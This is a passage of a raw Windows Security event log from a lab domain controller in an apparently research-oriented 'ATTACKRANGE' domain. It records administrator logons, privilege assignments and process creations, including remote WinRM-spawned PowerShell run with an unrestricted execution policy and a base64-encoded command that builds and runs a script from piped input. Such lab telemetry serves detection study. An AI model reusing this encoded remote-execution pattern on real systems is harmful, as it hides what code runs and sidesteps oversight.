-Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246193 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8564C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246192 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x747B9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246191 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x73696 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246228 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe30 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\1danjyyg.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246227 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8EB07 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246226 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8EB07 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246225 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246224 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246223 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb8 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246222 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246221 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D53F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246220 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D53F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246219 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246218 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246217 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdc0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246216 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb30 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246215 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D373 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246214 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon 